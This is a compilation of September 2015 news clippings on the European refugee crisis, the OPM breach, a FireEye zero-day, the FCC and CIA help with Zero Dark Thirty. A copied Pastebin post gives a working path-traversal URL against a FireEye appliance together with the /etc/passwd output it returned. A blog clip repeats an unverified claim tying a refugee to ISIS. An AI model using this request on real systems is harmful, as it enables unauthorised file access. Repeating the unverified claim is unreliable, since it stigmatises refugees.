The government's campaign has been published in ten different languages on DIS's website and according to Jyllands-Posten, flyers in all ten languages have also been posted in asylum centres across Denmark. The Arabic text is also reportedly being circulated widely through social media.
A Growing Number of Countries Are Signaling They Want Only Christian Refugees From the Middle East |
Wed, 09 Sep 2015 15:46
At least five European countries have signaled that they prefer to grant asylum only to Christian refugees flooding the continent from the Middle East, not to Muslims.
Some have defended the policy based on the argument that Christians would integrate more easily into an already Christian-majority society, while others point to the direct and imminent threat from the Islamic State group to Christians in Syria and Iraq.
People pass railway tracks as they approach the southern Macedonian town of Gevgelija,Tuesday, Sept. 8, 2015. Hundreds of thousands of migrants and refugees trying to reach the heart of Europe via Turkey, Greece, the Balkans and Hungary have faced dangers, difficulties and delays on every link of the journey. (AP Photo/Borce Popovski)
Officials in Cyprus and a French town came out this week against taking in Muslim refugees, joining the position of Hungary, Bulgaria, the Czech Republic and Slovakia.
Even in Australia, the debate has been underway over what kind of asylum seekers to accept.
Cypriot Interior Minister Socrates Hasikos said Monday that of the 300 refugees Cyprus is willing to accept, the European island nation would prefer them to be Christian.
''We would seek for them to be Orthodox Christians,'' Hasikos told state radio. ''It's not an issue of being inhuman or not helping if we are called upon, but to be honest, yes, that's what we would prefer.''
He argued that Christians would ''integrate better.''
Since 1974, the north of Cyprus '' 40 percent of its territory '' has been occupied by Turkey, resulting in decades of animosity between the predominantly Christian south and Turkish Muslim north of the island.
The mayor of Roanne in France said Sunday said his town would accept a dozen families but only if they were ''really Christian refugees who are persecuted because they are Christians in Syria.''
By accepting Christians, Mayor Yves Nicolin said he could ensure they're not ''terrorists in disguise.''
A Polish official coordinating the arrival of Syrian asylum-seekers worried the Islamic State group could exploit the system to infiltrate into Europe.
''They [non-Christian refugees] can be a threat to Poland. I think it is a great way for ISIS to locate their troops'‰.'‰.'‰.'‰all around Europe,'' Miriam Shaded, head of the Polish foundation Estera, told the Financial Times last month.
Hungarian Prime Minister Viktor Orban last week said that his country does not want to accept many Muslims based on its centuries' old experiences with Muslim rule.
''I think we have a right to decide that we do not want a large number of Muslim people in our country,'' Orban said.
''I have to say that when it comes to living together with Muslim communities, we are the only ones who have experience because we had the possibility to go through that experience for 150 years,'' Orban said, referring the Ottoman Empire's rule of the Kingdom of Hungary during the 16th and 17th centuries.
In August, Slovakia said it would not accept non-Christians.
''In Slovakia, we have a really tiny community of Muslim people,'' an interior ministry spokesman told the EU-Observer. ''We even don't have mosques. That's the reason we want to choose people who really want to start a new life in Slovakia. And Slovakia, as a Christian country, can really help Christians from Syria to find a new home in Slovakia''.
In the Czech Republic, there was also a preference voiced for Christians.
''Refugees from a completely different cultural background would not be in a good position in the Czech Republic,'' Czech President Milos Zeman said, according to the German news agency dpa.
In Australia, an unnamed member of parliament told the Australian Broadcasting Corporation on Tuesday that some government ministers are quietly pushing for a policy of ''no more Muslim men.''
Australian Foreign Minister Julie Bishop said Syrian minorities including Maronite Christians, Yazidis and Druze should be given priority for asylum.
''I think that Christian minorities are being persecuted in Syria and even if the conflict were over they would still be persecuted,'' Bishop said.
''I believe there will be a focus on ensuring we can get access to those persecuted ethnic and religious minorities who will have no home to return to even when the conflict is over,'' she added.
But the opposition Labor Party called a religious litmus test ''dangerous.''
''Being a victim of war doesn't know a particular religion,'' Australian opposition leader Bill Shorten said. ''If you're a woman facing terrible crimes to be committed against you, if you're a child, a little child, potentially drowning at sea, I'm not interested in their religion, I'm interested in their safety.''
As the international debate raged over what kind of refugees to accept, the French government Tuesday warned the mass migration could erase minority communities in the Middle East, including the centuries' old Christian community.
''It's very difficult, but if all these refugees come to Europe or elsewhere, then Daesh has won the game,'' French Foreign Minister Laurent Fabius told RTL radio, using the Arabic acronym for the Islamic State group.
At the White House on Tuesday, press secretary Josh Earnest said the U.S. is ''actively considering additional steps'' to assist Syrian refugees, while concern ''about [the] basic security of American citizens is at the forefront.''
Representatives from 60 countries met in Paris on Tuesday to decide on a policy for the eventual return of some refugees.
Man with Angela Merkel mask interrupts Juncker at EU Parliament
Wed, 09 Sep 2015 12:55
What's This?
By Stan Schroeder2015-09-09 09:32:19 UTC
A member of the European Parliament (MEP) wearing a mask with German Chancellor Angela Merkel's face interrupted Jean-Claude Juncker's speech in the European Parliament in Strasbourg on Wednesday.
The president of the European Commission was addressing the Parliament during the annual State of the Union event when Italian MEP Gianluca Buonanno rose from his seat, a printed Merkel mask covering his face, approached Juncker and shook his hand.
The move was greeted by claps and laughter. It was immediately unclear why Buonanno did the stunt, although a photo tweeted from his account on Sept. 7 shows the Merkel mask with a T-shirt:
Right-wing Northern League politician Buonanno has done unusual things in parliaments before. He delivered a racist anti-immigrant rant in Italy's Parliament in 2014.
Juncker's speech comes at an extremely tough time for the European Union, with the Greece financial crisis still not fully resolved and many thousands of migrants knocking on member states' doors. Merkel's administration led the charge in resolving Greece's financial problems; on the other hand, Germany recently defied EU rules by allowing all refugees into the country, no matter which country they set foot in first.
During the speech, Juncker called on EU countries to agree by next week to share 160,000 refugees, warning that Greece, Italy and Hungary can no longer cope alone.
"The refugee crisis will not simply go away," Juncker told EU lawmakers, noting that some 500,000 migrants have entered Europe this year, many from conflict-torn Syria and Libya. "It is high time to act."
Juncker unveiled a new plan for 22 of the EU's 28 states to share 120,000 refugees from Greece, Italy and Hungary, on top of a proposal the EU's executive made in May to share 40,000 refugees from just Greece and Italy. Britain, Ireland and Denmark are not legally bound to take part. Greece, Italy and Hungary of course are not included.
Hungary estimates that more than 160,000 people have crossed its borders alone this year.
Additional reporting by the Associated Press
Have something to add to this story? Share it in the comments.
Topics: Angela Merkel, European Parliament, Gianluca Buonanno, Jean-Claude Juncker, Politics, state of the union, World
'Remember This Guy' Pic: Last Year With ISIS, This Year A 'Refugee''... | Weasel Zippers
Mon, 07 Sep 2015 00:49
This picture is beginning to make it around, we have not been able to confirm the facts asserted on it as yet.
However, the point it raises is a valid one. There have been absolutely no checks on who is flooding into Europe, even as ISIS says they are sending agents in amongst the refugees.
Researcher discloses zero-day vulnerability in FireEye | CSO Online
Mon, 07 Sep 2015 14:09
On Sunday, Kristian Erik Hermansen disclosed a zero-day vulnerability in FireEye's core product, which if exploited, results in unauthorized file disclosure. As proof, he also posted a brief example of how to trigger the vulnerability and a copy of the /etc/passwd file. What's more, he claims to have three other vulnerabilities, and says they're for sale.
Based on the published information on Exploit-DB and Pastebin, the basic setup of the compromised appliance is exactly what you'd expect it to be; the box has Apache, pushing PHP, running as root.
The other listed services are also expected on a forward facing Web-appliance, including SSH and FTP. However, the disclosed flaw looks to be centered in a PHP script on the FireEye appliance itself.
MORE ON CSO: What is wrong with this picture? The NEW clean desk test"FireEye appliance, unauthorized remote root file system access. Oh cool, web server runs as root! Now that's excellent security from a _security_ vendor :) Why would you trust these people to have this device on your network," wrote Hermansen in a note that accompanied the disclosure and proof.
"Just one of many handfuls of FireEye / Mandiant 0day. Been sitting on this for more than 18 months with no fix from those security "experts" at FireEye. Pretty sure Mandiant staff coded this and other bugs into the products. Even more sad, FireEye has no external security researcher reporting process."
Salted Hash has reached out to FireEye for comment, but given that it's a holiday weekend here in the U.S., it's unlikely they'll respond any time soon. If they do, this story will be updated.
While one of the FireEye vulnerabilities has been published, Hermansen has claimed three others on Twitter. The remaining three, which have not been posted to the public, are for sale.
In addition to the file disclosure vulnerability (which can be triggered remotely), Hermansen has claimed to have a login bypass vulnerability, as well as command injection vulnerabilities; one unauthenticated and the other authenticated.
Early last year, Hermansen made headlines after dealing with lawyers working for Covered California, the website responsible for the state's Affordable Care Act registrations.
He had disclosed a number of security issues with the website, but was met with silence from the state and those responsible for the portal's development. After a month of waiting, he disclosed the issues publicly.
Shortly after the public disclosure, lawyers for Covered California reached out; but not to move forward with a fix - they were more interested in getting the disclosure video and all mentions of the flaw removed form the Web, Hermansen said in an interview with Forbes.
Given his past experience with disclosure, perhaps history is repeating itself with FireEye, only now, Hermansen is willing to sell the vulnerabilities.
The last time FireEye had to deal with vulnerabilities and negative reactions form the InfoSec world, it was because they were accused of putting pressure on a researcher's employer after he disclosed flaws in FireEye's Malware Analysis System (MAS).
Shortly after this story went live, Hermansen responded to our email requesting additional information. He said that while working with another researcher (Ron Perris), the two discovered thirty vulnerabilities in FireEye's product, including multiple remote root issues.
"I tried for 18 months to work with FireEye through responsible channels and they balked every time. These issues need to be released because the platforms are wrought with vulnerabilities and the community needs to know, especially since these are Gov-approved Safe Harbor devices with glaring remote root vulnerabilities," Hermansen told Salted Hash via email.
"No one should be trusting these devices on their network if FireEye can't be bothered to fix the problems. As a security company, their standards should be higher."
The Safe Harbor mention is in reference to claims made by FireEye earlier this year, where the company told customers they have liability shields. FireEye said that customers using their Multi-Vector Virtual Execution engine and Dynamic Threat Intelligence platform will see "potential savings on both insurance and legal expenses" due to the legal protections afforded by the SAFETY Act.
Given a choice, Hermansen said he'd rather disclose the zero-day vulnerabilities to FireEye directly and be compensated for the work they've done. However, the base asking price starts at around $10,000 USD per bug.
Just one of many handfuls of FireEye / Mandiant 0day. Been sitting on this for m -
Tue, 08 Sep 2015 14:05
By: a guest on Sep 2nd, 2015 | syntax: None | size: 1.99 KB | views: 5,939 | expires: NeverJust one of many handfuls of FireEye / Mandiant 0day. Been sitting on this for more than 18 months with no fix from those security "experts" at FireEye. Pretty sure Mandiant staff coded this and other bugs into the products. Even more sad, FireEye has no external security researcher reporting process.
FireEye appliance, unauthorized remote root file system access. Oh cool, web server runs as root! Now that's excellent security from a _security_ vendor :) Why would you trust these people to have this device on your network?!?!?
Kristian Erik Hermansen (@h3rm4ns3c)
Just one of many handfuls of FireEye / Mandiant 0day. Been sitting on this for more than 18 months with no fix from those security "experts" at FireEye. Pretty sure Mandiant staff coded this and other bugs into the products. Even more sad, FireEye has no external security researcher reporting process.FireEye appliance, unauthorized remote root file system access. Oh cool, web server runs as root! Now that's excellent security from a _security_ vendor :) Why would you trust these people to have this device on your network?!?!?https://fireeyeapp/script/NEI_ModuleDispatch.php?module=NEI_AdvancedConfig&function=HapiGetFileContents&name=../../../../../../../../../../../etc/passwd&extension=&category=operating%20system%20logs&mode=download&time=...&mytoken=......root:aaaaa:16209:0:99999:7:::bin:*:15628:0:99999:7:::daemon:*:15628:0:99999:7:::adm:*:15628:0:99999:7:::lp:*:15628:0:99999:7:::sync:*:15628:0:99999:7:::shutdown:*:15628:0:99999:7:::halt:*:15628:0:99999:7:::mail:*:15628:0:99999:7:::uucp:*:15628:0:99999:7:::operator:*:15628:0:99999:7:::games:*:15628:0:99999:7:::gopher:*:15628:0:99999:7:::ftp:*:15628:0:99999:7:::nobody:*:15628:0:99999:7:::vcsa:!!:16209::::::rpc:!!:16209:0:99999:7:::saslauth:!!:16209::::::postfix:!!:16209::::::rpcuser:!!:16209::::::nfsnobody:!!:16209::::::apache:!!:16209::::::ntp:!!:16209::::::lighttpd:!!:16209::::::sshd:!!:16209::::::mailnull:!!:16209::::::smmsp:!!:16209::::::openvpn:!!:16209::::::tcpdump:!!:16209::::::applianceuser::16209:0:99999:7:::rproxy:aaaaa:16209:0:99999:7:::sfserver:aaaaa:16209:0:99999:7:::provisioning:aaaaa:16209:0:99999:7:::upgrayedd:aaaaa:16209:0:99999:7:::sftasker:aaaaa:16209:0:99999:7:::felistener:aaaaa:16209:0:99999:7:::lighthouse:aaaaa:16209:0:99999:7:::crlfactory:aaaaa:16209:0:99999:7:::panlistener:aaaaa:16209:0:99999:7:::fireeye::16209:0:99999:7:::--Kristian Erik Hermansen (@h3rm4ns3c)
Contractor breach gave hackers keys to OPM data
Thu, 10 Sep 2015 04:13
Aaron Boyd, Senior Staff Writer4:44 p.m. EDT June 25, 2015
Katherine Archuleta, Director of the Office of Personnel Management, told a Senate committee hackers used credentials stolen in KeyPoint data breach to access OPM systems.(Photo: Mark Wilson/Getty Images)
A breach of KeyPoint Government Solutions'--a contractor used by federal agencies to conduct background checks'--gave hackers the credentials needed to access sensitive employee data held by the Office of Personnel Management, the agency director confirmed Tuesday.
During a hearing in front of the Senate Appropriations Subcommittee on Financial Services and General Government, OPM Director Katherine Archuleta told legislators there was a direct line between the August breach of KeyPoint systems and the two intrusions of OPM servers detected in April.
More:Could OPM have prevented the breach?
"While the adversary leveraged a compromised KeyPoint user credential to gain access to OPM's network, we don't have any evidence that would suggest KeyPoint as a company was responsible or directly involved in the intrusion," Archuleta said.
Having valid credentials allowed the intruders access to the system, as well as any encrypted files and other data that might have otherwise been restricted. The hackers successfully exfiltrated data on some 4.2 million current and former employees in an initial breach and highly sensitive background investigations on a still untold number of feds in a second intrusion.
More:OPM breach a failure on encryption, detection
The two contractor breaches were also significant in their own right. The Department of Homeland Security announced last August that unauthorized users gained access to records held by USIS, which DHS also contracted with, exposing data on some 27,000 DHS employees.
That month, hackers also breached KeyPoint's systems, the second largest contractor for DHS and OPM, affecting more than 48,000 employees. DHS and KeyPoint announced the breach publicly in December 2014.
More:Data on 48,000 feds exposed in contractor breach
Data from show a sharp decline in contracting dollars going to USIS (and parent company Altegrity) in 2015, after OPM decided to not renew its contract. KeyPoint and CACI International picked up the majority of those contracts and are now the two largest background investigators for the federal government.
(Government data also shows a dip in contract awards to USIS in 2013, due to adjustments made from excess funds awarded in prior years.)
More:DHS, OPM suspend contracts with USIS after major cyberattack
"Since last year, we have been working with KeyPoint and they have taken strides in securing its network and have been proactive in meeting the additional security controls that we have asked them to use," Archuleta told the subcommittee.
Lawmakers brought up the possibility that compromised contractor credentials were used to access OPM's systems during the first congressional hearing on the OPM breach, held by the House Committee on Oversight and Governmental Reform on June 16.
More:OPM laxity to blame for data breach, lawmakers say
"Did these cyberattackers gain access to OPM's data systems using information they stole from USIS or KeyPoint last year? Did they get the keys to OPM's networks from one of its contractors?" Rep. Elijah Cummings, D-Md., asked.
Officials declined to answer the question directly during that first hearing, offering to brief committee members later that day during a confidential session.
Cummings said he asked for representatives from KeyPoint and USIS to attend the House hearing, however both declined.
Multimedia Report:The OPM Data Breach
Third party background investigators have seen drastic shifts in the amount of contract spending coming from OPM. (Photo: John Harman/Staff)
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DOJ wants USIS parent company to pay damages despite bankruptcy filing - The Washington Post
Thu, 10 Sep 2015 04:14
The once massive government contractor that performed the bulk of the background investigations used in U.S. security clearances is essentially dead and gone. USIS lost its lucrative contracts after it was accused of defrauding the federal government in a whistleblower lawsuit, and its parent company filed for bankruptcy.
But the Justice Department is not done with the case. The department, which joined the lawsuit last year, is now arguing that Altegrity's bankruptcy plan should not preclude the whistleblower from collecting damages.
The filing in U.S. Bankruptcy Court on Friday comes as Congress hopes to question a representative of the company on the massive computer breach at the Office of Personnel Management that potentially exposed the personal information of as many as 4 million people.
The leaders of the House Oversight and Government Reform Committee have requested that officials from USIS and KeyPoint Government Solutions, which now performs a large portion of the government's background checks, appear for questioning at a hearing scheduled for Wednesday.
Both USIS and KeyPoint were hacked last year, though it is not clear whether those attacks were related to the breach at OPM.
After a hearing last week on the breach, Rep. Elijah E. Cummings (D-Md.), the committee's ranking Democrat, said in a statement that he now feels ''more strongly than ever that the Oversight Committee must hear directly from OPM's two contractors '-- KeyPoint and USIS '-- either in transcribed interviews or in formal testimony before the committee.''
Last year, the Justice Department joined the whistleblower lawsuit against USIS filed by Blake Percival, a former fieldwork services director. The suit accused the company of submitting investigations that they said were complete even though they had not received a required quality review, in an effort to increase profits. The elaborate process was known as ''dumping'' or ''flushing'' and affected 665,000 cases, the suit said.
[Even after Snowden, quota system on background checks may imperil U.S. secrets]
USIS, which performed the background investigations of Edward Snowden, the National Security Agency leaker, and Aaron Alexis, the Washington Navy Yard shooter, lost the contract late last year, and now the work is performed largely by KeyPoint and CACI.
USIS has billed for an additional $44 million for work performed for OPM, the filing said.
But the Justice Department and Percival want to ensure that any judgment they might win will be paid out by the company. The filing objecting to Altegrity's bankruptcy plan also said that Altegrity faces an investigation by the Labor Department into alleged violations in the company's retirement and health-care plans. It did not detail what those violations were.
The Labor Department did not return calls requesting comment. Altegrity declined to comment.
In the filing, Justice Department attorneys said that the whistleblower lawsuit has been stayed '-- the reason is under seal '-- so they have not been able to get all of the relevant documents and testimony.
As a result, additional parties, ''including Altegrity and individual employees involved in the fraudulent scheme,'' could be named as defendants in the case, they wrote.
Christian Davenport covers federal contracting for The Post's Financial desk. He joined The Post in 2000 and has served as an editor on the Metro desk and as a reporter covering military affairs. He is the author of "As You Were: To War and Back with the Black Hawk Battalion of the Virginia National Guard."
Michael Powell (lobbyist) - Wikipedia, the free encyclopedia
Thu, 10 Sep 2015 04:16
For the Louisiana former state representative, see Mike Powell (Louisiana politician).Michael Kevin Powell (born March 23, 1963) is an American former Republicanchairman of the Federal Communications Commission and current president of the lobbyist trade group the National Cable & Telecommunications Association (NCTA).[1] He was appointed to the Federal Communications Commission by PresidentBill Clinton on November 3, 1997. President George W. Bush designated him chairman of the commission on January 22, 2001. Powell is the son of former Secretary of StateColin Powell and his wife Alma Powell.
Early life and personal details[edit]Michael Powell was born in Birmingham, Alabama in 1963. He graduated from the College of William and Mary, where he was initiated into Theta Delta Chi, on an ROTCScholarship. Powell served as an armor officer in the United States Army. He spent the majority of his active service with the 3rd Squadron, 2nd Armored Cavalry Regiment in Amberg, Germany, serving as a cavalryplatoon leader and troopexecutive officer. In 1987, Powell was seriously injured during a training mission.[2] He and his unit were traveling in a convoy on the autobahn. Powell was riding in a jeep at the time. Due to heavy rain, the jeep crashed and Powell was ejected from the vehicle. After he hit the pavement, the jeep bounced and crashed down on Powell's midsection.
Half of Powell's pelvis had snapped off its rear anchor on the lower spine. In the front, it had ripped free of the cartilage connecting it to its other half. His bladder and urethra were torn and several vertebrae were cracked.
After initial attention from German emergency room doctors, Powell was flown to a U.S. Army hospital in Nuremberg. After being stabilized, he was flown to Washington, D.C. and admitted to Walter Reed Army Medical Center where he spent a year in recovery. To this day, his spine is still fused at its base, forcing him to walk with a slight forward pitch.
After his rehabilitation he served as an expert advisor to the Secretary of Defense. Powell later received a Juris Doctor (J.D.) degree from the Georgetown University Law Center and clerked for the U.S. Court of Appeals for the D. C. Circuit. He then worked for a year and a half as a private attorney in the Washington, D.C. office of O'Melveny & Myers, an L.A.-based firm, as well as in the antitrust division of the Justice Department for a year.
FCC Chairman[edit]As the chairman of the FCC, Powell led the charge to open up markets in VoIP, Wi-Fi, and Broadband over Powerline (BPL). His approach believed that these new communications technologies would allow small companies to take on established corporations, and that regulations often stood in the way of progress.
His deregulatory policy coincided with a period of significant consolidation in the communications market. He advocated an updating of media ownership rules to reflect new communications technologies such as the Internet, a move that critics derided as increasing rampant media consolidation. He opposed applying telephone-era regulations to new Internet technologies, a move critics charged would deny open access to communications facilities. He articulated a policy of network neutrality, and in March 2005 fined Madison River Communications for blocking voice over IP applications, the first-ever government action of its kind.[3] Powell worked so consumers could keep phone numbers when switching wireless carriers and championed the National Do Not Call Registry.[4]
A defining moment of his tenure as FCC Chairman was the Super Bowl XXXVIII halftime show controversy, in which Janet Jackson's breast was exposed on live-broadcast television. This high-profile incident increased public attention toward the FCC's enforcement of indecency rules, which had already stepped up following Bono's use of an expletive on live TV. Powell himself later said that the controversy was overblown, although he recognized that it would cause concern when he saw it at a Super Bowl party. In an interview with ESPN The Magazine, he stated, "I think we've been removed from this long enough for me to tell you that I had to put my best version of outrage on that I could put on. Part of it was surreal, right? Look, I think it was dumb to happen, and they knew the rules and were flirting with them, and my job is to enforce the rules, but, you know, really? This is what we're gonna do?" In the aftermath, the FCC processed hundreds times more complaints than they had ever received.[5]
Howard Stern and other controversial on-air personalities felt the sting of record fines, and both the U.S. House and Senate separately approved legislation significantly increasing the amount of money a station could be fined for indecency. Although the legislation was not ultimately enacted, the climate in Washington became so grey that several TV stations across the country declined to air Saving Private Ryan on Veterans Day for fear of FCC fines. Powell was interviewed on San Francisco talk radio station KGO (AM) when Stern called in to confront Powell. Stern questioned Powell's credentials, saying he got the job only because of his father and accused Powell of targeting him and fining him large amounts of money.[6]
Some of Powell's initiatives have been challenged in federal court. Notably, the FCC's BrandX cable modem service decision, which declared cable modem should be free from telephone service regulations, was overturned in the Ninth Circuit case but was reinstated by the Supreme Court. The FCC's Broadcast Flag proceeding was overturned by the D.C. Circuit Court as an inappropriate exercise of FCC jurisdiction. The FCC's Media Ownership rules were likewise blocked by federal court and the television ownership cap set directly by the U.S. Congress.
During his Chairmanship he was invited to speak at the University of California, San Diego on January 26, 2004. The video is available on-line through the University of California, and is titled: FCC's Michael Powell: Charting the Future of the Telecom Industry.[7] In the talk Powell spoke about the process of effecting change in Washington. He also spoke about Ultra-wideband and speculated on the effect it would have on telecommunications.
In a notable confrontation over the FCC's local telephone competition rules, Powell was outflanked by Republican Kevin Martin, who formed a majority with the FCC's two Democratic commissioners. Powell was later vindicated by a D.C. Circuit Court decision on March 2, 2004 that struck down Martin's order. Three months later, the U.S. Supreme Court let the D.C. Circuit decision stand. When Powell resigned, Kevin Martin, who served George W. Bush's presidential campaign in Florida, was named the FCC's new Chairman. Martin has subsequently purged the FCC of many of Powell's staff.
While at the FCC, Powell was also the FCC's Defense Commissioner and oversaw all National Security Emergency Preparedness functions for the Commission.[4]
Post-FCC work[edit]Powell resigned as Chairman of the FCC on January 21, 2005. He said that he was glad to spend more time with his wife. In March 2006, Powell became a member of the board of trustees, for the RAND Corporation.[8] He served two terms as a member of the Board of Visitors at his alma mater, the College of William and Mary, from 2002 to 2009. On April 21, 2006, Powell was elected the Rector of the Board of Visitors, making him the first African-American to serve in that post in the College's 313-year history.[9] He served as rector for two terms, stepping down on July 1, 2009.[10]
In 2013, Powell was a signatory to an amicus curiae brief submitted to the Supreme Court in support of same-sex marriage during the Hollingsworth v. Perry case.[11]
President of NCTA and anti-Net-Neutrality lobbying[edit]On March 15, 2011, the National Cable & Telecommunications Association (NCTA) announced that Powell would take the helm from Kyle McSlarrow, beginning April 25.[12] Powell left his advisory role with Providence Equity Partners. In 2012, he spoke with FCC Chairman Julius Genachowski and gave the keynote speech during the industry's Cable Show.[13] In April 2012, he contributed an opinion piece to Politico about the importance of cyber threats.[14]
As a lobbyist representing the telecommunications companies, Powell published numerous editorials and opinion pieces around the country in opposition to Net Neutrality.[15] In late November, 2014, US President Barack Obama announced his administration's support for the principals of a free and open Internet without "fast lanes".[16] After the president took a stand, Powell made statements in the National Journal and other media claiming that Net Neutrality would be harmful.
References[edit]^"Michael Powell, Ex-FCC Head, Named Top Cable Industry Lobbyist". ^^Madison River Communications, LLC and affiliated companies (order text, PDF)^ ab^Cogan, Marin (January 28, 2014). "In the beginning, there was a nipple". ESPN the Magazine. Retrieved January 30, 2014. ^^FCC's Michael Powell: Charting the Future of the Telecom Industry^TIMOTHY F. GEITHNER, MICHAEL K. POWELL AND MARTA TIENDA JOIN RAND CORPORATION BOARD OF TRUSTEES^Michael Powell elected rector of College^Henry C. Wolf '64, J.D. '66 Elected Rector of the College^^NCTA Names Powell President, Multichannel News, March 15, 2011.^^^Powell, Michael (October 31, 2014). "The FCC and competition". ^Miller, Zeke (November 9, 2014). "Obama Signals Opposition to 'Fast Lanes' in Support of Net Neutrality". Time Magazine. Retrieved November 12, 2014. External links[edit]
Cable trouble undercuts FCC's huge cloud move -- FCW
Thu, 10 Sep 2015 14:10
Cable trouble undercuts FCC's huge cloud moveBy Zach NobleSep 09, 2015So a commercial cloud kingdom was lost '' all for want of a properly connected cable?
The FCC's massive move to commercial cloud has been delayed after a cable-centered snafu, and it has sent employees scrambling.
The FCC's initial notice of the Labor Day weekend upgrades said the work would be wrapped up by 8 a.m. EDT on Sept. 8. Two hours after that deadline passed, the agency tweeted that work would stretch until 8 a.m. EDT on Sept. 10.
''It was supposed to be done this weekend, but they told us not to come into work because it didn't happen,'' one FCC employee told FCW. ''Oh well.'' The employee said Office 365 remained accessible remotely for FCC employees.
''FCC employees with an existing telework agreement have had the option to telework,'' an FCC spokesperson told FCW on Sept. 9. ''The Internet at the headquarters has been down during the back-end IT upgrades thus some employees have chosen to telework in order to access email.''
The spokesperson confirmed that the work should be wrapped up by Sept. 10.
''With a massive server move of this scale '' even with detailed planning, independent verification, and backup plans '' the opportunity always exists for surprises, especially with legacy IT systems, nearly 400 program applications, and hundreds of servers,'' wrote FCC CIO David Bray, the man powering the move, in a Sept. 8 blog post. After seven moving vans full of equipment arrived at their new home safely on Sept. 4, ''we discovered the need for some additional cabling to be done by our commercial partners that took longer than expected,'' Bray wrote.
Bray did not name the ''commercial partners,'' but the FCC spokesperson pointed to IBM, saying ''the commission has partnered with IBM on this very complex project during which we physically moved more than 200 servers off-site.''
Bray was scheduled to keynote the NextGov Prime conference Sept. 9, but he was a last-minute cancellation. Conference organizers attributed his absence to his needing to help sort out the situation at his agency.
(Bray did stay connected to the event on Twitter, living up to his ''one-man tweet storm'' reputation.)
While employees might be without Internet at headquarters, the FCC has hurried to get public-facing services online, with the Electronic Comment Filing System and the Electronic Document Management System back up Sept. 8.
Many other systems will remain offline until Sept. 10, the agency said.
About the Author
Zach Noble is a staff writer covering cloud, big data and workforce issues. Connect with him on Twitter: @thezachnoble.
AOPA seeks answers about ADS-B notam - AOPA
Thu, 10 Sep 2015 04:56
September 4, 2015
ByElizabeth A Tennyson
AOPA is trying to get to the bottom of ambiguous notam language and determine why the aviation community was given just one day's advance notice of military exercises that could make Automatic Dependent Surveillance-Broadcast (ADS-B) and TCAS unreliable along a significant portion of the East Coast for a month.
A notam issued Sept. 1 announced that, beginning Sept. 2, both ADS-B surveillance and TCAS may be unreliable in Virginia, North Carolina, South Carolina, Georgia, and Florida, as well as in airspace extending approximately 200 nautical miles off shore. The situation is expected to last through Oct. 1 as a result of military exercises in the area.
But similar military exercises in the past have caused no interference with civilian ADS-B or TCAS, and AOPA is asking the FAA to explain both why the notam was issued so late and what has changed to raise these new concerns.
''We are working to get answers for our members,'' said Rune Duke, AOPA director of air traffic and airspace. ''This notam has caused considerable alarm and much confusion, while giving pilots little time to prepare. The long duration, ambiguous language, and short notice of this notam are all cause for serious concern. We have spoken with representatives of the FAA and the Department of Defense and will continue to pursue this until we get the answers pilots need.''
The wording of the notam has led many general aviation pilots to believe that ADS-B-based traffic information might not be available to them. But the notam does not specify any interference with 978 MHz ADS-B systems, which are most commonly used by light GA aircraft. As a result pilots should continue to have access to TIS-B and FIS-B services. The greatest impact will be on aircraft using 1090 MHz ADS-B systems or TCAS, which are primarily used by larger, faster aircraft operating in the flight levels. Air traffic controllers will help ensure separation between military and civilian traffic during the exercises, and no delays or reductions in ATC services are anticipated.
Director of Government Affairs and Executive Communications Elizabeth Tennyson joined AOPA in 1998, the same year she earned her private pilot certificate. She also holds an instrument rating and enjoys jumping out of planes almost as much as flying them.
Tequila, Painted Pearls, and Prada: How the CIA Helped Produce 'Zero Dark Thirty' | VICE News
Wed, 09 Sep 2015 15:24
On April 21, 2011, Mark Boal called the CIA to tell them he was going to Afghanistan.
The previous year, the screenwriter had been at a dinner when CIA director Leon Panetta asked Boal to alert the agency if he ever traveled to the country. At the time, Boal was working on a movie called Tora Bora, about the CIA's failure to capture Osama bin Laden in the immediate aftermath of the 9/11 attacks. The title referred to the region in eastern Afghanistan where the US felt it had let bin Laden slip through its fingers during a battle in December 2001.
But less than two weeks after Boal made the call, a team of Navy SEALs raided the al Qaeda leader's compound in Pakistan and killed him. Boal would not be going to Afghanistan after all.
Instead, he stopped writing the script for Tora Bora and began writing a different screenplay about what one lawmaker called "the most classified mission in history" '-- the killing of bin Laden. That movie, which Boal would work on with director Kathryn Bigelow, would become the 2012 Oscar-winning film Zero Dark Thirty. And the CIA would play a huge role in the creation of the script.
* * *
The previously undisclosed detail about Boal's phone call to the CIA was included in more than 100 pages of internal CIA documents obtained exclusively by VICE News in response to a Freedom of Information Act (FOIA) lawsuit. The documents contain the most detailed information to date about the controversial role the CIA played in the production of Zero Dark Thirty (ZDT).
Included in the trove of redacted agency records is a March 2014 CIA Office of Inspector General report titled "Alleged Disclosure of Classified Information by Former D/CIA" '-- D/CIA refers to the director of the Central Intelligence Agency, Leon Panetta '-- and a separate September 2013 report from the inspector general's office titled "Potential Ethics Violations Involving Film Producers."
The ethics report contains remarkable details about how Bigelow and Boal gave CIA officers gifts and bought them meals at hotels and restaurants in Los Angeles and Washington, DC '-- much of which initially went unreported by the CIA officers '-- how they won unprecedented access to secret details about the bin Laden operation, and how they got agency officers and officials to review and critique the ZDT script.
Related: The Weird Saga of the Other 'Smoking Gun' Torture Report the CIA Still Has Under Wraps
Representative Peter King, the Republican congressman from New York and the former chairman of the House Committee on Homeland Security, had pressed the inspectors general at CIA and Department of Defense in August 2011, a month after Panetta left the CIA to serve as secretary of defense, to investigate the alleged disclosures to Boal and Bigelow. This came after news reports claimed that high-ranking Obama administration officials granted the filmmakers extraordinary access to classified details about the bin Laden operation, and that the disclosures led to the arrests of Pakistanis who assisted the CIA in the operation. King's objections were centered around the fact that the movie was originally slated for release a month before the 2012 presidential election '-- it ended up premiering in December '-- and that it would have been used by Obama's reelection campaign.
The CIA worked with Bigelow and Boal at a time when the agency's so-called enhanced interrogation program was under scrutiny by Democrats on the Senate Intelligence Committee. They were working on what came to be known as the Senate torture report, about the efficacy of the techniques to which CIA captives were subjected. The report concluding that those techniques did not yield unique or actionable intelligence and had nothing to do with tracking down bin Laden. ZDT, however, strongly suggested that the use of torture led the agency to bin Laden, a narrative that current and former CIA officials promoted in numerous op-eds and interviews after bin Laden was killed. That the narrative was so prominently featured in ZDT angered Senator Dianne Feinstein, the Democratic chairwoman of the Senate Intelligence Committee, who fired off a letter to the president of Sony Pictures objecting to what she called a "false narrative."
To this day, the CIA vigorously defends its use of so-called "enhanced interrogation." This week, several former agency officials, including one who met with Bigelow and Boal, are releasing a book titled Rebuttal that defends the agency's enhanced interrogation program and harshly criticizes the Senate Intelligence Committee's report.
* * *
